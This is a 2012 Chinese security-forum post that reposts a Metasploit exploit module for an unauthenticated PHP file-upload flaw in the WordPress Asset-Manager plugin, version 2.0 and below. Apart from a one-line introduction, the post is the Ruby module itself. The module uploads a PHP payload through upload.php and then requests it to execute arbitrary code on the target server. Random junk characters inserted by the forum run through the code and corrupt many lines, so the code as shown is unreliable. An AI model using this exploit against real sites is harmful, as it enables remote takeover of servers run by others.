找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2007|回复: 0
打印 上一主题 下一主题

WordPress Asset-Manager PHP文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:22:33 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个模块利用Metasploi脆弱漏洞库在WordPress版本Asset-Manager插件2.0以及以下版本发现的。允许上传php文件、一用户可以上传一个文件到一个临时目录没有身份验证,从而导致执行任意代码。
  {% E, I' F6 C' W, q5 w* {$ R3 n
##
! E0 {9 d4 g& e( a/ A8 A# This file is part of the Metasploit Framework and may be subject to
; \! c" O3 B) U# redistribution and commercial restrictions. Please see the Metasploit  w  b* l- x5 g
# Framework web site for more information on licensing and terms of use.. I5 z6 z+ @; E8 y3 V3 L" E/ W
#   http://metasploit.com/framework/
4 d( L& A* ^6 V7 y3 j##
& Q$ D- G6 P; T0 b7 V " c7 r& S& h7 J0 M% _! N) u$ H) _; i
require 'msf/core'
0 |1 e  L" ^  w; X5 c5 X! ^0 F4 Prequire 'msf/core/exploit/php_exe'0 Y: V* O2 F2 s1 D% z

3 W4 m8 G# j" V4 S+ nclass Metasploit3 < Msf::Exploit::Remote+ }! d7 G- Q; q3 r& p2 A5 M6 w
  Rank = ExcellentRanking; I% b" F- x% W: U5 x
) J' b* O$ j' a4 K2 ^1 h
  include Msf::Exploit::Remote::HttpClient$ O! U# a  o; p# x9 p
  include Msf::Exploit:hpEXE
9 {) _) I" y& c9 C. \3 H, }; c
5 z- t  j& a7 p  def initialize(info = {})1 K- J) ?* Q8 p* o9 L- }$ r8 W
    super(update_info(info,- s+ ^2 S1 v& V( r# p/ k
      'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
* s0 V' D6 L% K" L; A% {3 K* g      'Description'    => %q{: s8 d# z2 k+ v4 c( o; X
        This module exploits a vulnerability found in Asset-Manager <= 2.0  WordPress
4 b5 ^1 _! c* e: {1 H4 K        plugin.  By abusing the upload.php file, a malicious user can upload a file to a2 V8 V5 k8 h7 l* c- M: A
        temp directory without authentication, which results in arbitrary code execution.! W+ e: J7 a  v" Y) H$ N& v
      },
# Q% E6 ]& c- ?# M  D      'Author'         =>8 t; q$ I- M, L* {4 z& B8 \
        [
& A& |4 P) q! D0 [# b9 X# r          'Sammy FORGIT', # initial discovery5 d: d# E0 K$ w( N$ Q- I7 w
          'James Fitts <fitts.james[at]gmail.com>' # metasploit module% ^# V9 L+ Y: S" p: b# s, }
        ],: q, @# ]9 D# l4 _" a
      'License'        => MSF_LICENSE,. i* ~, ?9 l9 F( B, e
      'References'     =>
  y9 h! g* z  g6 e' D        [
# ?1 H) F, h* X7 F          [ 'OSVDB', '82653' ],: v" y6 |- o8 `  A4 z6 ?" F
          [ 'BID', '53809' ],4 [" y5 a  ~; q0 M' W4 V
          [ 'EDB', '18993' ],
8 C, o' s' h) ^          [ 'URL', 'http:// www.myhack58.com /' ]
8 @* N* ?6 y/ D$ J        ],' C* i8 r3 `; r" X2 L
      'Payload'       =>
* z0 ]4 |+ ^3 o7 p: f( O3 n8 ]        {8 G8 O- q6 C1 p3 f4 h$ v1 R
          'BadChars' => "\x00",  ?. O% X$ n6 {3 S8 h
        },* u3 A' {9 k& W) D; C% h
      'Platform'       => 'php',, R8 v0 S5 p+ h6 P9 J9 C+ r5 p+ G
      'Arch'           => ARCH_PHP,/ ~; D! _: k9 o9 T1 Q% G
      'Targets'        =>* e4 w' l2 L: V6 \7 k& c9 C' p
        [
1 E# C  S! M* J; P          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
, Z1 s+ s& H9 K          [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
1 L1 a5 P, {  [& W7 T        ],
- C$ p2 B+ T( V% Q      'DefaultTarget' => 0,
5 y, U5 m0 i9 w- k      'DisclosureDate' => 'May 26 2012'))8 T$ E% r* A) ~9 B1 R; u, J

  d! i& v  o0 V2 `- V* |; i& {# n    register_options(
' `( }1 j& G, c2 S$ ~0 u      [1 t/ @: S9 a/ v4 C: b3 z4 S
        OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
1 q( b* C0 _) h2 ~8 _  D4 J) }      ], self.class)
# x9 Y: L; W& _# ?3 ?+ |6 N  end
) r$ g/ c$ e' q6 ?
- u. @* _! x' \- c2 W  def exploit0 L5 ^7 j+ J& X, t# T9 E
    uri =  target_uri.path* G. {$ H* _% W2 |( S4 `
    uri << '/' if uri[-1,1] != '/'
7 F, W: ]; I; v1 z# D5 Q    peer = "#{rhost}:#{rport}"
1 C7 g. Y$ o0 f& o  l3 J* v' O    payload_name = "#{rand_text_alpha(5)}.php"
9 Z. E' x! p0 p& _7 Z/ e. p    php_payload = get_write_exec_payload(:unlink_self=>true)  l0 H3 i/ K% w& v2 Z6 r% j' V2 o

6 ^: p3 I8 u5 \/ i+ g& P4 a2 ~    data = Rex::MIME::Message.new
* K8 u  q- B( C5 I5 a; ^    data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")/ J# N8 L" z, a- G) F
    post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')8 P7 q( d  H# ~* h% _" _, Q

4 z- t( d3 I! d" M    print_status("#{peer} - Uploading payload #{payload_name}")
" C1 A  F) F1 X# X  l7 P% d    res = send_request_cgi({
( \+ M4 ]/ F+ s      'method'  => 'POST',! P( B6 E/ p& H
      'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",. F7 m0 z, N- X. O0 @
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",+ [5 b. f; t* R+ W  x/ t( f
      'data'    => post_data- Q2 }! G, v8 G. k% s8 _" J
    })
5 C* _+ n% o$ s8 Y 6 a% v9 v$ B, a4 z% a! _
    if not res or res.code != 200 or res.body !~ /#{payload_name}/$ [8 o8 x0 m0 i! a" M+ R
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"): \" z  g. u7 H3 ?
end; M1 c+ L8 I6 X. t& O. `* b
2 D- K- b- |) W6 l& a
    print_status("#{peer} - Executing payload #{payload_name}")( L& i* ^) J* m% n  E2 ?) Z* _7 Q" Z4 _; P
    res = send_request_raw({  U% G% i5 k4 x7 c
      'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",# B( q3 M# a# i( _6 x
      'method'  => 'GET'
& x$ `% G) q( z! T) X) k/ k    })' k. _6 u  }3 Z4 R1 `, o: ^

+ ]# Y" e* v1 }9 x: Z) |- c7 T    if res and res.code != 200* @9 T0 w3 f3 C! |' q- c6 K. d
      fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")( v! u+ O; Z7 O/ R
    end) z3 V  U, s1 N6 C8 V7 ]# U5 l
  end
* s- i2 |! \- b5 e/ ~+ cend- e. \9 m  _" s7 i$ W3 X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表